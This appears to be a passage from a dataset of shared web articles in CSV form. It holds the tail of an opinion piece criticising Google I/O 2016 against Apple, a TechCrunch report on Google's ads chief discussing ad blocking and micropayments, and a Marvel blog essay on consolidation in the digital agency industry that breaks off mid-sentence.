Drive, HealthKit and HomeKit , smart Continuity features and App Extensions to open up keyboards, sharing and actions. Last year it introduced iOS 9 with proactive Spotlight recommendations, iPad Split View and Slide Over, better Maps with transit, and a series of other features-including 3D Touch support that Google's Android still hasn't effectively copied. Apple is successfully deploying its innovation While Google has made some efforts to copy Apple's initiatives, one huge difference is that Apple has been able to improve its lead in deploying new versions of iOS. Last year, Apple reported that 82 percent of its users were on the most recent iOS 8 by the end of May. This year, iOS 9 has reached 84 percent penetration a couple weeks earlier. While Apple has been portrayed as having reached Peak iPhone with no potential for real growth, the reality is that Apple's sales have grown dramatically over the past two years, it's just that last year was so incredible that this year looks bad in comparison. Contrasted with its sales prior to iPhone 6, Apple's sales this year are much higher, and following a trajectory of long term growth. Apple has also proven that it can both maintain a lock on the most profitable sales and consistently grow its shipments even in an industry that is in long term decline, as we've witnessed with Mac growth within the shrinking PC market since 2010. Google's VR Daydream ignores the Android Wear nightmare This year's Google I/O was dominated by Daydream , a new VR initiative that intends to dictate to Android licensees a model for delivering high-end smartphone designs capable of supporting VR through the use of a draft reference design for goggles and a controller. A variety of Android licenses have already shipped their own VR products however, including Samsung and HTC. Why would they want to take VR hardware design direction from a search company that has repeatedly failed to deliver successful reference designs, ranging from Google TV to Honeycomb tablets to Silver, Google One and Android TV? Further, given that we're told almost daily that Apple's reign over smartphones is over because nobody is going to pay $650 for a smartphone anymore, why are we now being told by those same people that the real opportunity in smartphones is a $700 phone paired with a $100 or more set of goggles, because VR? Which one is it? Given that we're told almost daily that Apple's reign over smartphones is over because nobody is going to pay $650 for a smartphone anymore, why are we now being told by those same people that the real opportunity in smartphones is a $700 phone paired with a $100 or more set of goggles, because VR? Which one is it? And if there's some real opportunity for selling a high end smartphone connected to an expensive peripheral, who is more likely to be able to sell this, Apple or the Android licensees who haven't been able to sell high end smartphones over the past two years? Even if Apple were two years behind the rest of the world in introducing VR, we're more likely to see a repeat of Google's last big I/O hardware initiative. Remember the smartwatch? Samsung and Google paraded around flop wearables for two years before Apple Watch appeared and immediately dominated the entire industry. Apple is so far ahead in that product category that IDC has to compare it against $88 Fitbits and $25 Xiaomi bands just to claim that there's some competition. Apple Watch came to market with a serious price premium: $349 to $1099, in a market where Samsung and Motorola had been trying to sell their smartwatches for $130 to $300, and other Android makers are now trying to sell knockoff devices for $50 or less. Is it even fair to suggest that companies that struggle to sell $500 mid-grade smartphones and can't sell a smartwatch at any price are going to suddenly be able to outperform Apple at high priced hardware targeting a feature that demands extremely tight integration, precise sensor control and high quality content? The hype building around VR, and the potential for a social network, ad ad-search engine and bunch of second-tier consumer hardware makers to pull it off better than the world's largest technology vendor-which has repeatedly beaten them all in premium hardware every year since the iPhone first arrived (and with iPod before that)-is an example of some seriously deranged Flawgic . Google I/O 2016 resembles Apple in 1996 Rather than narrowing its focus and upping its game, Google and its Alphabet umbrella have sprayed out a scattershot of various initiatives with no clear path to realistic success. Each year introduces an entirely new strategy while abandoning previous initiatives. This has a lot in common with the old Apple of the 1990s. Back in 1996, Apple had multiple unrelated platforms all vying for attention. It had all sorts of far out technology ideas that it advertised as coming real soon, while failing to really make any money at any of them, and it became notorious for canceling projects left and right just as they achieved a developer following. Today Google has Android and Chrome OS, but it can't sell its own hardware running either one. Chrome's inability to find a following outside of the schools where Google's partners are dumping them at-cost is especially disappointing, because as a web-oriented OS, Chrome is closer to what Google would like to be selling than a Java-based platform with an embarrassing security record and an unattractive user demographic-a particularly ugly situation for an ad-search vendor. Android is also facing litigation for appropriating Oracle's Java API in willful violation of its licensing. But ChromeOS, its heir apparent, hasn't taken off with consumers or enterprise users, and its dependence upon an Internet connection for cloud-based web apps is a major barrier to adoption for consumers. Android apps on ChromeOS! Google's solution this year is a plan to host Android apps on ChromeOS, a plan that first surfaced last fall. This would bring Android's huge library of smartphone Java applets to netbook hardware nobody is currently using outside of schools. However, this solution is particularly bizarre given that reviews of the Android-based Pixel C lamented that ""Android just isn't cut out for productivity,"" largely because existing Android apps are not optimized for tablets. For Engadget , Devindra Hardawar wrote ""I've been reviewing Android slates for years, and it's a shame there still aren't enough great big screen apps."" Dieter Bohn similarly observed for The Verge that ""One big problem is that most of the apps I use on Android tablets still aren't truly optimized for tablets. Most apps are comprised of wide, wasted expanses of open space that are technically designed for any screen size but actually aren't utilizing all this screen real estate. That's problematic with third-party apps, but it's unforgivable from Google's own apps."" Brandon Chester and Joshua Ho of AnandTech also noted that, ""Unfortunately, what Android Marshmallow doesn't bring is anything significant to improve the experience on Android tablets. ... most of the core applications still act like large versions of their smartphone counterparts."" Note the agreement that the problem with Pixel C wasn't just the many limitations in Android, but extended to the fact that neither Google's nor third party Android apps are optimized for tablet sized screens . So how does it solve any real problem to host Android's smartphone apps on top of ChromeOS netbooks? Google has problems Steve Jobs would have had trouble fixing This sounds too much like Apple expecting to solve the problems related to its 1996 Mac System 7 by hosting it on another OS that nobody was using, when the real problem for mid 90s Macs was not just that their software was tied to an old tired platform that needed to be radically renovated but also that all the apps that ran on it needed to be overhauled for the modern era. That took Apple under Steve Jobs six years to initially deliver-and at least another three more years to begin meaningfully turning things around. Apple eventually pulled that off, but the company had Steve Jobs, it had acquired NeXT and had therefore had a fully modern OS largely ready to begin building on, and it had competition in the form of a sleepy Microsoft that had grown arrogantly complacent and distracted with a massive security problem. It also was fortunate enough to have stumbled onto the iPod, earning enough billions in hardware revenues to finance development of Mac OS X and eventually the iPhone, the most successful technology product to have ever existed. Today, Google doesn't have time on its side. It certainly doesn't have eight years to fix its platform problems. Additionally, it's now Google that has grown arrogantly complacent and distracted with a massive security problem, and it has no Steve Jobs, no NeXT, an Oracle lawsuit and an irrational attachment to a web-based cloud netbook platform that nobody wants apart from America's desperately impoverished K-12 schools, who are willing to accept super cheap hardware in exchange for surveillance of their children. Google also lacks the ability to make money on any sort of hardware it has invented or acquired, ranging from Nexus to Glass to Robots to Motorola to Nest. On top of that, Google's ad revenues from the desktop PC are slowing down and becoming less lucrative and more expensive to sell, while its ad business on mobile devices now has strong competition from Facebook, Amazon and others. And it's also being effectively purged from Apple's iOS platform, as well. ""Running Android apps"" didn't save BlackBerry's tablet, didn't create a competitive, profitable tablet business for any Android licensees, and wasn't even deemed worthy of being implemented by Microsoft as a solution to its own dearth of apps for Windows 10 Mobile. So it doesn't seem like a magic fix for ChromeOS either. Google's FaceTime & iMessage Two other initiatives Google outlined at its I/O conference, Duo video calling and Allo instant messaging with text prediction, look a lot like Apple's FaceTime and IMessage, except that they are intended to work on Android as well as iOS. However, there's already a crowded field of cross-platform alternatives to Apple's offerings: Microsoft Skype, Facebook WhatsApp, and a variety of other third party tools. Google already has its own Hangouts product, which supports conversations among groups, as well as Google Voice and Messenger, resulting in a lot of apps with overlapping functionality. Separating video and text chat into two different apps is a clear message that these are a copy of Apple's products. The only reason Apple has two separate products is that their introductions were made across multiple years back in 2010 (FaceTime for iOS), 2011 (iMessage, FaceTime for Mac), 2012 (Messages for Mac) and 2013 (FaceTime Audio). On AppleWatch, Messages and FaceTime Audio features have already converged into one interface. Given that Google already has IM and video chatting apps-including some Hangouts functionality that goes beyond FaceTime-why would it create new copies of Apple's work? Looking all of the other unique features and differentiated design decisions of Android that Google has given up on in order to instead deliver a closer replica of what Apple was doing-even when its own Android user base claimed that the status quo on Android was already better-indicates that Google feels that its own vision is flawed and that it's better to just copy Apple's verbatim. That played out last year with Google dumping Android's old app permissions model, its old copy and paste, the old Google Wallet and a variety of other areas where Android used to be more unique. But Google isn't just blindly copying Apple; it's copying Apple because it recognizes that Apple's approach is clearly superior. However, there are two major flaws with Google's plans to copy iOS FaceTime & iMessage. First of all, Google has a terrible track record of introducing copies of other company's products and gaining any traction with them. Its Buzz didn't unseat Twitter, its Google+ didn't rival Facebook, Knol didn't rival Wikipedia and of course Android hasn't commercially performed anywhere near iOS. That's the real problem Google is seeking to address here. Nobody in the tech media has really recognized the value of iMessages. Google clearly has. While the media has grown enthralled with Facebook's user growth (despite the fact that it paid $22 billion, or $55 per person, for 400 million WhatsApp users, who have subsequently generated 3 cents each in revenue per year), nobody in the tech media has really recognized the incredible value of iMessages. Google clearly has. Apple doesn't have to buy users and then try to monetize them; it already has over 750 million, and those users have all paid to use Apple's products; about $650 per person to get a new iPhone, $400 per iPad or $1200 per Mac. Apple is now offering them Services, earning another $20 billion per year from things like iCloud, AppleCare and Apple Music. The ""Law of Large Numbers"" that supposedly prevents Apple's valuation from going up is not in any way impeding how much more money Apple can make from its increasing installed base of users and their attachment to its devices. Apple's strategy for iMessage wasn't to make lots of money from its user base (and certainly not to force them to sit in a soup of ads), but rather to make its platform more attractive so they'd stick around and keep buying new hardware. iMessage and FaceTime are simple, secure and easy to use. They're not a complex messaging platform like Google's abandoned Wave or its current Hangouts, which largely only appeals to technically-oriented users like Google's own employees. iMessage on iPhone is also the default way to message others via SMS or-if the other side has an iPhone-to provide a more robust set of messaging features, distinguished with blue chat bubbles. That results in a clear, differentiated product that induces people to encourage their friends to get an iPhone. Google wants something like that. Unfortunately, it's not offering something truly comparable because it can't. Google has only limited control over Android. It can't force all Android phones to adopt Allo or Duo, and it's not very good (to put it mildly) at selling pure-Google Nexus phones either. But most importantly, it has no control over iOS at all. The only way it can get iOS users to try its apps is to advertise and promote a good product without charge, and even that's an uphill endeavor. Look at Google Maps, for example, which since the arrival of Apple Maps about four years ago has tumbled into minority use on iOS, despite having a variety of very attractive and unique features. Getting iOS users to switch from their builtin iMessage to Allo will be an even harder climb, because the only thing Google offers is a new way to be lame, using variable text size to ""whisper or shout,"" a more nuanced way to be all-caps-annoying in a typographical way that users on the other end can't control. Allo also offers suggestions similar in some respects to Apple's QuickType keyboard, except that rather than suggesting spellings or basic responses, it watches how you talk and offers to talk like you. This itself seems like a bizarre way to feel less human when conversing with others, but it doubles as a way for anyone who grabs your phone to sound like you in talking to the people you know. How much sincerity is felt in a conversation where one person hits the suggested ""I love you"" bubble and then receives a canned ""I love you too"" in response, knowing it involved tapping the bubble Allo suggested? What's next, a Google Now automation that launches Allo throughout the day and sends canned messages to all of your contacts for you so they know you care about them enough to delegate that effort to a machine? This appears to be another Android idea generated by a robot for robots, with no real human curating the feature set. In any respect, it's not going to attract mass adoption from iOS users, who can already chat with green bubble Android users via iMessage. Duo at least allows iOS users to have a FaceTime-like conversation with Android users, something that currently requires Skype or one of the many other third party video chat apps. Google's biggest innovation here is ""Knock Knock"" video previews, so that any caller who has your phone number can play live video on your phone as part of the connection process. As many have already observed on Twitter, this is a golden opportunity for pranks, and particularly for unsolicited dick pics and other forms of harassment. Google increasingly now courting iOS rather than insulting it However, the fact that Allo and Duo are co-targeting Android and iOS provides the clearest evidence yet that Google is keenly aware that Android is now playing defense. Previously, Google I/O frequently unveiled exclusive features that were supposed to make Android look like the cool kid platform, with things like Face Recognition Unlock. In 2014 I/O was about Android Auto, Android TV, Android Wear and Google Fit, initiatives designed to make Google's platform look as good or better than iOS. Last year Android Pay and Google Now further sought to enhance Android M, but Android Wear was extended support to iOS, and Google Photos also invited iOS users to join. This year, the realization is kicking in that Google's latest platform features aren't getting rolled out , and that new Android adoption is actually falling further behind. Google quite desperately now needs to start working to get itself installed into iOS phones, where the potential for money is. This same sort of desperation hit Microsoft in 2014, when it realized that no new features or billions in advertising were going to salvage Windows Phone or dramatically popularize Windows tablets, and that it therefore needed to get its Office apps running on Apple's iPad or be left behind as others took its place on the mobile platform that mattered. Google Home, the surveillance search bar for your house This effect is also evident in Google's answer to Amazon's Alexa-powered Echo and Apple's HomeKit: a new product idea called Google Home that won't be available until some future date for some unknown price. Having failed to gain any real traction behind Google TV or Android TV, it's now taking a page from Amazon and seeking to install an always-listening search bar right in your home. Once installed, not only does Google get a lot of information about you, but it also gains a foothold into the emerging world of HomeKit-style device management. This is already a ball Google has badly fumbled with its $3.2 billion acquisition of Nest, which has resulted in a portfolio of flawed products that don't work well and don't earn enough money . Nest even managed to make things worse by buying Dropcam for another $555 million just to look like it was earning revenue. Google's next attempt at hardware sales, and importantly hardware that provides an on ramp back into Google's search freeway, is also complicated by the fact that Google's previous attempts at hardware have all been disastrous. But even worse, the fact that Google had to look to Amazon for direction on how to spy on users-Google's historical core competency-shows that things inside Google are quickly deteriorating. Imagine if Apple were to decide to release a Bluetooth speaker equipped with Siri, which could not only answer questions but also coordinate with Apple TV and HomeKit devices. Apple doesn't need to buy up any pieces or look to others for ideas. It already has everything in place-it even owns a leading brand of speakers, whose Bluetooth Beats Pill already plays regular cameos in virtually every hit pop video and can be paired for stereo effects. Unlike Amazon's Echo, Apple's Siri works outside of the U.S. and in other languages than English. Adding Hey Siri functionality to Beats Pill would let Apple take the Echo/Home concept not just to the living room, but to anywhere a user might be. The big difference is that Apple doesn't have a user surveillance ad model. It offers Siri as an appealing feature so you'll be satisfied with your Apple hardware, not as a con man snoop trying to muscle into your life to learn about what sorts of ads would best manipulate you into paying for things you don't need, without your knowledge. Ridiculous busywork: Project Ara Remarkably, the primary original idea Google profiled at this year's I/O is a project which could easily be confused for one of Google's tone deaf, unfunny April Fools pranks if it had not been bobbing around within the company for years on end. With the absurd Google Glass no longer being actively promoted as a plausible hardware concept, Google I/O has turned to Project Ara to fill the void of straight-faced silliness. If you forgot, this is the modular phone concept first floated as a Hyperloop-style meme among Facebook users who believe in anything that can be summarized in a graphic overlaid with large text or presented in a video clip. Project Ara intended to ""reduce waste"" by letting users assemble modular smartphone components like an Erector Set (or a PC), upgrading the camera or CPU or display as desired. Imagine if you could still be using your iPhone 4, but with a new camera plugged in and a faster new CPU trying to drive a 2010-era backplane. It would need to be much thicker with a tiny black and white e-ink screen. Doesn't that sound like an amazing future? Project Ara is an incredibly dumb idea, but Google is taking it as seriously as it took Google TV, Glass, Motorola and Nest. The only thing dumber than Google's continued presentation of Project Ara is the puff piece about it that David Pierce wrote for Wired , which sounds exactly like all of the similarly breathless enthusiasm Wired has previously gushed about the unlimited potential of Google TV , the ""fabulous technology product"" Google Glass , Motorola and Nest . The closest Wired ever veers toward critical thought in the Project Ara piece is the observation that ""Apparently, when given the opportunity to make anything that plugs into their phone, people come up with some pretty useless ideas."" He then remembers what's on the line in his relationship with the world's largest advertising company and backtracks by adding, ""And that's OK: it's the whole point. It's been years since the smartphone industry has seen anything like true experimentation and newness."" It's been years since smartphones have tried anything new! Retina Display, 64-bit processing, Siri, Metal, Touch ID, Apple Pay? That's nothing compared to a busy box phone that lets you plug in wooden blocks, pill cases, random buttons, a kickstand and so on. And who ever previously thought of using a smartphone with a better camera, speakers, a video projector, fitness trackers or external sensors and controls? Why use Bluetooth or cables when you could instead turn your phone into a thick box that works like a slightly smaller PC with slots and the kind of loose integration that has made Microsoft's legacy so relevant in the modern mobile world? While I/O tries to be Burning Man, WWDC remains a professional developer conference Project Ara is another example of the ""1,000 yeses"" Google invests effort into, without making any difficult decisions until the money has run out and the projects have to be canceled. Again, to anyone who has weathered twenty five years of tech industry history, this is a lot like what Apple was doing back when the company was coasting along on what it had done in the previous decade rather than really having a clear, attainable strategy for the future. That Apple isn't around anymore. Today's Apple is a business enterprise that delivers new products and introduces practical innovation at a regular pace, and moving along a clear trajectory that partners can sync up with. Developers at WWDC can expect to interface with the company's engineers, rather than being entertained by whimsical circus theatrics in an outdoor arena in 93 degree heat where the logistics of I/O's developer sessions were as poorly planned and implemented as Google's actual platforms. Conspicuously missing from this year's Google I/O was any real continuation of the acknowledgment of the enterprise that was made back in 2014. Apple has been working to understand and meet the needs of enterprise users every year. That's why Apple has made so much headway in the enterprise, and has lined up partners ranging from IBM to SAP to Cisco. Next month, WWDC can be expected to introduce serious topics and deliver information third party partners can actually use.",en
1464029348,CONTENT SHARED,-2559385310537355580,4142810830429822977,7416940330871524623,,,,HTML,http://techcrunch.com/2016/05/10/googles-head-of-advertising-talks-ad-blocking-mobile-and-micropayments/,"Google's head of advertising talks ad blocking, mobile and micropayments","Google's Senior Vice President of Ads & Commerce Sridhar Ramaswamy took the stage at TechCrunch Disrupt NY today for a wide-ranging conversation with our own Anthony Ha. Given the current conversation around ad blocking and Google's reliance on advertising as its main revenue source, it's no surprise that the conversation also touched upon this rather controversial topic. Ramaswamy acknowledged the problem, but also argued that ad blocking is first and foremost a user problem. ""It's happening because users have ads that slow down their pages,"" he said, and added that this is an especially bad problem on mobile. Ramaswamy believes the industry has to do a better job of policing itself and that a solution - whatever that may be - can't just be a Google solution, because only an industry-wide solution will have the necessary credibility. ""This has to be seen as a fair industry standard rather than something Google is pushing,"" he said. As for mobile, Ramaswamy noted that Google's first mobile ads ran on feature phones in 2005. Today, everything his team does is mobile-first, though. The big wake-up call for the team was seeing data a few years ago that showed that mobile searches would soon outnumber desktop queries. While it's easy to think of mobile as a problem for Google, Ramaswamy says he thinks of it as an opportunity. ""But you have to be in a different mindset when it comes to UI design,"" he noted. On mobile, of course, there is still a wide split between ads on the web and in apps. As far as apps go, Ramaswamy believes that ""the app model is still very clunky"" because it takes time to download apps and install them (and then they are often forgotten). He thinks the worlds of the web and apps will ""blend together"" over time, though. Ramaswamy also thinks that mobile may enable new micropayment models, too. The Internet is overly reliant on advertising, he believes. If you were signed in on every browser - as you probably are on mobile - maybe you would think differently about paying a few cents for every article you read. The health of the Internet, he believes, depends on enabling more non-ad monetization options for publishers. Based on this, it's probably worth keeping an eye out for how Google plans to enable this scenario going forward. Advertising, of course, relies on having lots of data about users. Opinions probably vary here, but Ramaswamy argues that Google has led the way in terms of transparency and that his team always puts the users first. While Google has tools for checking what the company knows about you, the reality is that few users actually use them. Because of this, Ramaswamy says it's important to have ""a simple contract with users.""",en
1464034659,CONTENT SHARED,1981046186743381313,-9001583565812478106,-6361057466865548397,,,,HTML,http://blog.marvelapp.com/state-of-the-digital-nation-2016/,State of the Digital Nation 2016,"In 2013, we explored the state and future of the digital consultancy industry, posing the question "" How, When and Where Will The First Truly Great Digital Design Studio Emerge? "". Three years later in 2016, enough time has passed to discern patterns from trends. In that time the industry has experienced seismic shifts and a sweeping wave of consolidation. So let's take another look at the state of the digital nation and why, for the bold, great opportunity lies ahead. Indulge me on a four course stream of consciousness on the business of digital. Chapter I: Industry Perspective: A look at the what, who, and why of consolidation, Digital Product explained, what lies behind advertising's existential crisis, and the brewing clash of the titans between ad holding groups and management consultancies. Chapter II: Agency Perspective: The red hot agency market, the reality behind buying and selling, calling bullshit on the 'end of consultancy', the designer's delusion, and the second coming of the independent studio. Chapter III: New Perspective: Escaping the agency cycle, finding inspiration and perspectives in the startup studio model and in the venture and own product initiatives of progressive agencies. Chapter IV: Future Perspective: The blueprint for the next evolutionary step for the studio model... the Digital Product Studio. There's plenty of additional reading in the links for those who want to go down the rabbit hole, as well as a reference table at the end. Happy to continue the discussion on social using the hashtag #DigitalNation at @ezyjules and @marvelapp . A sweeping wave of acquisitions has decimated the ranks of independent agencies and formed two clashing clans. On the one side are the giants of advertising and marketing and on the other the titans of management consultancy. Meanwhile the market they are fighting over is in the midst of a multi-faceted existential crisis. Over the last four years the design consultancy industry has experienced an unprecedented period of consolidation, building to a frenzy in 2015 with yet another flurry of acquisitions. 2012 and 2013 saw the big fish ad holding firms WPP, Omnicom, Publicis, Interpublic, and Dentsu buying up digital marketing agencies. 2014 and 2015 heralded the era of the big 5 management consultancies such as Accenture, Deloitte, McKinsey, and KPMG snapping up independent design consultancies (a trend foreshadowed by Accenture's acquisition of Fjord in 2013). Some highlights of the 2014 / 2015 shopping list... Chaotic Moon sell and Reactive sell to Accenture Interactive Lunar Design sell to McKinsey Digital Labs Mobiento sell to Deloitte Digital Seren sells to Ernst & Young Sapient sells to Publicis Groupe for $3.7 billion Adaptive Path sells to Capital One DesignIt sells to WiPro Tactel sell to Panasonic Aviation Pivotal Labs sold to EMC in 2012 and EMC sells to Dell in 2015 Bucking the trend Teehan+Lax opt for a dignified disolution Brief pause for breath... and into the 2016 new year sales: The App Business (TAB) £22M and Solstice Mobile $36M to St Ives Code & Theory sell to Stagwell Aperto sell and Resource/Ammirati sell to IBM Creative marketing agency Brooklyn Brothers sell to IPG IDEO sell a minority stake to Japan's Hakuhodo DY Holdings Fahrenheit 212 sell to Capgemini Heat sell to Deloitte Digital That's a whole lot of design legacy, revenue, and talent being assimilated. The reasons behind it mean that we need to preface our journey with an important definition. What is 'Digital Product'? In as human speak as possible - aka in the style of trying to explain what I do to my mother - here goes... A Digital Product is a software enabled product or service that offers some form of utility to a human being. Real world examples: Your favourite car service app such as Uber or Lyft, your mobile banking app with Chase or Barclays, your shoppable H&M or Nike app, the digital dashboard in your Tesla car (lucky you), the interface of your consumer electronics devices such as your phone or smart watch, the controller app for your Sonos speakers, or an investment bank broker's trading platform. Some products and services are made up mostly or entirely of software such as your Facebook messaging or Tinder 'dating' app. This is the software that is eating the world as almost all businesses come to be digitised and run on software. The digital touchpoint through which a human interfaces with said product or service can sit on many types of platforms and devices. Those can include web, mobile, auto, wearables, VR and beyond. Things are slowly moving beyond the visual interface towards the more natural form of conversational interface. Such examples are speaking with your Amazon Echo or accessing services in written conversation in your messaging app. As you are interacting with the product it does more than simply display information, as say a marketing website does. Complex interactions take place between the part you use (the front-end) which is connected (integrated) into the wider system that runs the service in its entirety (the back-end). This means software is core to it all. 'Digital product' or 'product' work is the delivery of the digital touchpoints of a product or service. Delivery can involve end-to-end concept, design, and engineering of the digital product, bringing it through to market launch and beyond. Delivery can draw on multiple disciplines of not only design and engineering but also business strategy, product management, data science, and marketing. Given the multiple players and cost involved, in order to get the product to market efficiently, the aim is to make the process as holistic as possible. So the method by which you deliver the product becomes as important as the product itself. Well-established best practices of product development include integrated teams, Agile (not waterfall), SCRUM, Lean, and Continuous Delivery methodologies. All of this makes digital product delivery an expensive investment. Engagements can run over many quarters and even years, commanding a high premium and margin. The budget for this kind of work usually comes from places other than the marketing department, which usually makes shorter-term, campaign-based investments. The point of this massively distracting aside is this. All client's businesses are becoming heavily software driven. So client demand has shifted towards the actual delivery of digital products and services into market, rather than just the strategy behind or marketing of them. In addition Design has become recognised as a critical factor in creating successful products and services. All of this has placed a premium on those skills and the relatively few companies that can offer it. Thus the red hot M&A market. For those who wish to nerd out on the topic, here's pretty great stab at What is Digital Product Design by Paul Devay. So what's with all the M&A action? From a revenue perspective, Ad holding groups have been going from strength to strength in recent years. With their amassed wealth they have have been busily buying up digital agencies. They have done so to cover capability gaps and round out their all-encompassing client offering. This was all about 'doing digital' in a world going fully digital and sweeping up any remaining significant non-group affiliated players and their clients/revenue. Digital represents an ever increasing greater share of their revenues, topping 40% for the first time in 2015. The fresh-off-the-press Ad Age Agency Report 2016 shares some juicy stats: Over the last six years digital's share of US agency revenue in jumped from 25.8% in 2009 to 41.3% in 2015. For Publicis Groupe, digital represented 51.9% of worldwide revenue and for WPP 37.5%. The point is that the ad holding groups are responsible for a huge portion of the digital industry and what happens there affects us all. Digital in ad-land is clearly going great guns right? Except where they have setup camp is in ad tech and the execution of digital marketing. Despite the many acquisitions and product posturing they have failed to meaningfully enter the field of digital product. The consequences for that failure will be profound because the platform they are standing on is burning. The ad industry is tipping into an unprecedented existential crisis. It may seem bizarre to claim that a $50B a year and growing industry is in peril. But whilst executives quaff rosé at the self-congratulatory circle jerk that is Cannes, Rome slowly burns. Multiple fires have been smouldering away over decades with more starting every year: service commoditisation, low technical competence, failure to grapple with digital product work, death of linear TV, ad blocking, robots, data judgement, the end of AOR, a people and lifestyle problem, a talent drain, and... a new gang in town out to steal their turf. The rapid commoditisation of the services the industry offers will continue to erode profit margins. As mobile engineers slowly become as ubiquitous as web engineers the premium on skin deep mobile marketing work will disappear. Margins will go south the same way of once bountiful web marketing work. We have seen that pattern play out on platform after platform. People are deleting advertising from their lives. Many simply don't like or want it and now for the first time they have a choice in the matter. With the shift to streaming, the so-called 'millennial' has abandoned linear TV and, in turn, the ads that grace it. (Who can blame them? In the US alone an estimated 45 million are using ad-blocking technology and eMarketer predicted that 15 million people in the UK would begin using ad-blockers by the end of 2017. Have you tried watching an episode of anything in the US without developing ADD from all the ad breaks). Higher-income consumers are more able to afford an ad-free existence by paying subscriptions for ad-free service experiences such as YouTube Red, Hulu+, or Spotify. This further erodes the pool of young, upwardly-mobile consumers that the ad industry so covets. In the future, only older, poorer people will experience advertising. The industry found hope in Nielsen's 2015 'Global Trust in Advertising' report. It heralded millennials as showing ""the highest levels of trust in online and mobile formats."". But a 2016 KPMG study found that the very same group was most likely to block ads with 60% of 16- to 24-year-olds planning do to so in the next six months. It also found that wealthier consumers are more likely to block ads. In the US alone an estimated 45 million are using ad-blocking technology and eMarketer predicted that 15 million people in the UK would begin using ad-blockers by the end of 2017. Clearly the issue of trust is meaningless without like or want (I trust my dentist, which doesn't mean I want to unnecessarily spend time with him). This presents a serious challenge to an industry which has principally relied on these channels since inception. I'm just going to leave this here The robots are coming ! Software is going to eat a large majority of non-creative agency roles in the coming years. With great irony, like turkeys selling thanksgiving, the advertising industry is excitedly pushing the very robots that will ultimately replace them (programmatic anyone?). In the brave new world bots will communicate with millennials in a 'relevant voice' in their channel of choice about a product/service they are, according to data, likely to purchase. Dystopia here we come! The shift to digital channels has delivered a data-rich world of less imperfect information. So the actual impact of what effectively constitutes shouting into the ether (legacy advertising) can now begin to be measured. TV advertising has long been considered effective, but for how long if it becomes measurable or people are not watching it? As consumption of viewing and advertising moves to the internet, quantifiable data means accountability and judgement. That should scare the hell out of agencies and publishers which have, outside of TV advertising, thus far survived and thrived on at best cloudy metrics. For example a display ad is considered as 'viewed by the visitor' if ""at least 50% of its pixels were displayed on the visitor's browser for at least one continuous second"". The bar is clearly low. Kalkis Research recently released an End Of The Online Advertising Bubble report foreboding a beautifully coined ""sub-prime crisis"" in ad tech. It is well worth a scan. Gabe Leydon, founder of Machine Zone, buys a lot of ads and a lot of TV spots (you know, the ones with Kate Upton and Arnie in them). He gave an epic takedown of the agency/media industry at code/media 2016, characterising ""almost all brand advertising as nothing more than a slush fund that feeds lazy advertisers, publishers and networks, who want to avoid accountability."" Ouch! It's a must-watch if you are in the ad or media industry or if you like watching slow motion car crashes (seriously, the Q&A is like a post-coital cigarette... ""Desire is an art and advertising is art and science!"" someone forlornly pleads). The era of the Agency of Record and retainers is coming to an end. I have met with many client-side teams and senior business decision makers at leading brands over the last year. I can tell you that the value and returns on comfortable, long-held agency of record relationships are in question. Feeling gauged and exploited, they are also asking the same of the many millions spent on bloated retainers over many years. The age of mega-retainers is coming to an end and the big brands such as Pepsi are calling it . As a new generation begins to take the helm, brands and clients are seeking out more open relationships than those of the AOR era. That shift presents a significant structural risk to the largest agencies who have grown fat on these arrangements. Everyone will need to figure out an operating model in a post-AOR world. The ad industry has a talent, lifestyle, and purpose problem. Behind the generation of career-coasting marketers maintaining business as usual sits a frustrated, hungry, product focused, and purpose driven generation of progressives. For anyone working in and around agencies and brands those generational fault lines are clear to see. With so many options this talent is not hanging around. Many are emerging from a career-long bout of Stockholm syndrome, the self-justification for the all-hours, all-sacrifice lifestyle of the industry. Some agencies are beginning to act on the damage such as Wieden & Kennedy London limits to work hours and email curfews for its staff. The fresh young talent that used to fuel agencies is increasingly altogether eschewing the industry despite desperate cosmetic makeovers . It may be a case of too little, too late to change the tide. For more and more the question arises of what's the point of putting up with all this? Confronted by his mortality following inoperable esophageal cancer, Linds Redding, a New Zealand-based art director who worked at BBDO and Saatchi & Saatchi put it like this : ""I think you're all fucking mad. Deranged. So disengaged from reality it's not even funny. It's a fucking TV commercial. Nobody gives a shit."" - Linds Redding Where once the talent was trickling from the leak in the dike, talent is now flooding out of the industry. Many are finding roles in tech companies with better pay, better conditions, and greater meaning and fulfilment in the work. From the top down, the very people that could save the industry are leaving it. Rei Inamoto leaving AKQA to open a business invention shop or pretty much all the product-focused talent at Huge leaving to set up the product-focused agency Work & Co are two of countless examples. All of the above means that attracting talent, especially engineers, is approaching the impossible. The parasite has become the host.The script flips further. Tech giants such as Google and Facebook were once simply vendors and channels for the ad industry. However, both are now taking their talent and offering quantifiable performance marketing services directly to their clients. The parasite has become the host. There is clearly a real impetus for change and none of this is new . Someone should do something right? Unfortunately the industry suffers from a false sense of security and lack of urgency. This has been fostered by the billions still being generated through a generation or two of marketers who are fully invested in maintaining the status quo (I suspect in order to ride out careers, pensions and mortgages). The fact is that both agency and client side have been complicit in selling and buying things to and from each other that no one cares about because it's what has always been done. A macrocosm of exactly this pattern is cloud advertising. Actual human beings give zero fucks about the cloud aka just someone else's computer. Yet this untargeted, expensive and pointless noise that exactly this generation has sold to each other is plastered absolutely everywhere: TV, online, stations, billboards, outhouses, sporting events, and ensuring utter global inescapability in practically every major airport on the planet. VR is undoubtedly next as the ""I need VR"" becomes the new ""I need an app"" and branded VR content from vodka brands floods our consciousness. The party is not going to end any day soon. But the industry will continue a slow and inevitable march to redundancy unless it responds to the many forces at play. There is another industry that went from nearly $40B a year to under $15B due to failure to grasp digital. This was the global recorded music industry which was decimated in just over a decade . Digital product work with its margins, purpose, and engagement is one of the paths that could save the industry. With the writing on the wall for so long, why is the ad industry still not in the game? ""Sorry mate, that's still a horse"" There was time when the ad industry had influence over more than Promotion, one of the Four Ps in the traditional Four Ps of marketing (Product, Price, Place, and Promotion). Way back in the Mad Men era so celebrated by the modern advertising industry they heavily informed Product. But as their clients in the 70s and 80s established in-house capabilities for those skills (doesn't that sound familiar!) they were increasingly limited to Promotion. Decades later, the golden opportunity to reclaim the lost P and properly integrate digital product capabilities and culture is being spurned. The focus appears to be on rebranding existing capabilities to posture as business-building product shops, or even somewhat delusionally as startup disruptors... TBWA schedule their April fool's parody 29 days too early. Scan the positioning, websites, and decks of design, advertising, marketing, and branding agencies and you will see that everyone is now talking about building products and businesses. Old case studies have been repositioned in a new 'product' context. Has everyone transformed themselves into product organisations? No. They've mostly painted stripes on their horse to make a zebra. But it's still a horse. To bastardise Dan Ariely's beautiful Big Data 